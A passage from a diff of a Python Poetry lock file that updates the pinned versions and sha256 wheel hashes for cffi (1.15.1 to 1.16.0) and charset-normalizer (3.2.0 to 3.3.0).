"sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"}, - {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"}, - {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"}, - {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"}, - {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"}, - {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"}, - {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"}, - {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"}, - {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"}, - {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"}, - {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"}, - {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"}, - {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"}, - {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"}, - {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"}, - {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"}, - {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"}, + {file = "cffi-1.16.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6b3d6606d369fc1da4fd8c357d026317fbb9c9b75d36dc16e90e84c26854b088"}, + {file = "cffi-1.16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ac0f5edd2360eea2f1daa9e26a41db02dd4b0451b48f7c318e217ee092a213e9"}, + {file = "cffi-1.16.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7e61e3e4fa664a8588aa25c883eab612a188c725755afff6289454d6362b9673"}, + {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a72e8961a86d19bdb45851d8f1f08b041ea37d2bd8d4fd19903bc3083d80c896"}, + {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b50bf3f55561dac5438f8e70bfcdfd74543fd60df5fa5f62d94e5867deca684"}, + {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7651c50c8c5ef7bdb41108b7b8c5a83013bfaa8a935590c5d74627c047a583c7"}, + {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4108df7fe9b707191e55f33efbcb2d81928e10cea45527879a4749cbe472614"}, + {file = "cffi-1.16.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:32c68ef735dbe5857c810328cb2481e24722a59a2003018885514d4c09af9743"}, + {file = "cffi-1.16.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:673739cb539f8cdaa07d92d02efa93c9ccf87e345b9a0b556e3ecc666718468d"}, + {file = "cffi-1.16.0-cp310-cp310-win32.whl", hash = "sha256:9f90389693731ff1f659e55c7d1640e2ec43ff725cc61b04b2f9c6d8d017df6a"}, + {file = "cffi-1.16.0-cp310-cp310-win_amd64.whl", hash = "sha256:e6024675e67af929088fda399b2094574609396b1decb609c55fa58b028a32a1"}, + {file = "cffi-1.16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b84834d0cf97e7d27dd5b7f3aca7b6e9263c56308ab9dc8aae9784abb774d404"}, + {file = "cffi-1.16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1b8ebc27c014c59692bb2664c7d13ce7a6e9a629be20e54e7271fa696ff2b417"}, + {file = "cffi-1.16.0-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee07e47c12890ef248766a6e55bd38ebfb2bb8edd4142d56db91b21ea68b7627"}, + {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8a9d3ebe49f084ad71f9269834ceccbf398253c9fac910c4fd7053ff1386936"}, + {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e70f54f1796669ef691ca07d046cd81a29cb4deb1e5f942003f401c0c4a2695d"}, + {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5bf44d66cdf9e893637896c7faa22298baebcd18d1ddb6d2626a6e39793a1d56"}, + {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7b78010e7b97fef4bee1e896df8a4bbb6712b7f05b7ef630f9d1da00f6444d2e"}, + {file = "cffi-1.16.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:c6a164aa47843fb1b01e941d385aab7215563bb8816d80ff3a363a9f8448a8dc"}, + {file = "cffi-1.16.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e09f3ff613345df5e8c3667da1d918f9149bd623cd9070c983c013792a9a62eb"}, + {file = "cffi-1.16.0-cp311-cp311-win32.whl", hash = "sha256:2c56b361916f390cd758a57f2e16233eb4f64bcbeee88a4881ea90fca14dc6ab"}, + {file = "cffi-1.16.0-cp311-cp311-win_amd64.whl", hash = "sha256:db8e577c19c0fda0beb7e0d4e09e0ba74b1e4c092e0e40bfa12fe05b6f6d75ba"}, + {file = "cffi-1.16.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:fa3a0128b152627161ce47201262d3140edb5a5c3da88d73a1b790a959126956"}, + {file = "cffi-1.16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:68e7c44931cc171c54ccb702482e9fc723192e88d25a0e133edd7aff8fcd1f6e"}, + {file = "cffi-1.16.0-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:abd808f9c129ba2beda4cfc53bde801e5bcf9d6e0f22f095e45327c038bfe68e"}, + {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:88e2b3c14bdb32e440be531ade29d3c50a1a59cd4e51b1dd8b0865c54ea5d2e2"}, + {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fcc8eb6d5902bb1cf6dc4f187ee3ea80a1eba0a89aba40a5cb20a5087d961357"}, + {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b7be2d771cdba2942e13215c4e340bfd76398e9227ad10402a8767ab1865d2e6"}, + {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e715596e683d2ce000574bae5d07bd522c781a822866c20495e52520564f0969"}, + {file = "cffi-1.16.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:2d92b25dbf6cae33f65005baf472d2c245c050b1ce709cc4588cdcdd5495b520"}, + {file = "cffi-1.16.0-cp312-cp312-win32.whl", hash = "sha256:b2ca4e77f9f47c55c194982e10f058db063937845bb2b7a86c84a6cfe0aefa8b"}, + {file = "cffi-1.16.0-cp312-cp312-win_amd64.whl", hash = "sha256:68678abf380b42ce21a5f2abde8efee05c114c2fdb2e9eef2efdb0257fba1235"}, + {file = "cffi-1.16.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0c9ef6ff37e974b73c25eecc13952c55bceed9112be2d9d938ded8e856138bcc"}, + {file = "cffi-1.16.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a09582f178759ee8128d9270cd1344154fd473bb77d94ce0aeb2a93ebf0feaf0"}, + {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e760191dd42581e023a68b758769e2da259b5d52e3103c6060ddc02c9edb8d7b"}, + {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:80876338e19c951fdfed6198e70bc88f1c9758b94578d5a7c4c91a87af3cf31c"}, + {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a6a14b17d7e17fa0d207ac08642c8820f84f25ce17a442fd15e27ea18d67c59b"}, + {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6602bc8dc6f3a9e02b6c22c4fc1e47aa50f8f8e6d3f78a5e16ac33ef5fefa324"}, + {file = "cffi-1.16.0-cp38-cp38-win32.whl", hash = "sha256:131fd094d1065b19540c3d72594260f118b231090295d8c34e19a7bbcf2e860a"}, + {file = "cffi-1.16.0-cp38-cp38-win_amd64.whl", hash = "sha256:31d13b0f99e0836b7ff893d37af07366ebc90b678b6664c955b54561fc36ef36"}, + {file = "cffi-1.16.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:582215a0e9adbe0e379761260553ba11c58943e4bbe9c36430c4ca6ac74b15ed"}, + {file = "cffi-1.16.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b29ebffcf550f9da55bec9e02ad430c992a87e5f512cd63388abb76f1036d8d2"}, + {file = "cffi-1.16.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dc9b18bf40cc75f66f40a7379f6a9513244fe33c0e8aa72e2d56b0196a7ef872"}, + {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9cb4a35b3642fc5c005a6755a5d17c6c8b6bcb6981baf81cea8bfbc8903e8ba8"}, + {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b86851a328eedc692acf81fb05444bdf1891747c25af7529e39ddafaf68a4f3f"}, + {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c0f31130ebc2d37cdd8e44605fb5fa7ad59049298b3f745c74fa74c62fbfcfc4"}, + {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f8e709127c6c77446a8c0a8c8bf3c8ee706a06cd44b1e827c3e6a2ee6b8c098"}, + {file = "cffi-1.16.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:748dcd1e3d3d7cd5443ef03ce8685043294ad6bd7c02a38d1bd367cfd968e000"}, + {file = "cffi-1.16.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8895613bcc094d4a1b2dbe179d88d7fb4a15cee43c052e8885783fac397d91fe"}, + {file = "cffi-1.16.0-cp39-cp39-win32.whl", hash = "sha256:ed86a35631f7bfbb28e108dd96773b9d5a6ce4811cf6ea468bb6a359b256b1e4"}, + {file = "cffi-1.16.0-cp39-cp39-win_amd64.whl", hash = "sha256:3686dffb02459559c74dd3d81748269ffb0eb027c39a6fc99502de37d501faa8"}, + {file = "cffi-1.16.0.tar.gz", hash = "sha256:bcb3ef43e58665bbda2fb198698fcae6776483e0c4a631aa5647806c25e02cc0"}, ] [package.dependencies] @@ -419,86 +400,101 @@ pycparser = "*" [[package]] name = "charset-normalizer" -version = "3.2.0" +version = "3.3.0" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7.0" files = [ - {file = "charset-normalizer-3.2.0.tar.gz", hash = "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-win32.whl", hash = "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96"}, - {file = "charset_normalizer-3.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-win32.whl", hash = "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1"}, - {file = "charset_normalizer-3.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-win32.whl", hash = "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1"}, - {file = "charset_normalizer-3.2.0-cp37-cp37m-win_amd64.whl", hash = "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-win32.whl", hash = "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706"}, - {file = "charset_normalizer-3.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-win32.whl", hash = "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9"}, - {file = "charset_normalizer-3.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80"}, - {file = "charset_normalizer-3.2.0-py3-none-any.whl", hash = "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6"}, + {file = "charset-normalizer-3.3.0.tar.gz", hash = "sha256:63563193aec44bce707e0c5ca64ff69fa72ed7cf34ce6e11d5127555756fd2f6"}, + {file = "charset_normalizer-3.3.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:effe5406c9bd748a871dbcaf3ac69167c38d72db8c9baf3ff954c344f31c4cbe"}, + {file = "charset_normalizer-3.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:4162918ef3098851fcd8a628bf9b6a98d10c380725df9e04caf5ca6dd48c847a"}, + {file = "charset_normalizer-3.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0570d21da019941634a531444364f2482e8db0b3425fcd5ac0c36565a64142c8"}, + {file = "charset_normalizer-3.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5707a746c6083a3a74b46b3a631d78d129edab06195a92a8ece755aac25a3f3d"}, + {file = "charset_normalizer-3.3.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:278c296c6f96fa686d74eb449ea1697f3c03dc28b75f873b65b5201806346a69"}, + {file 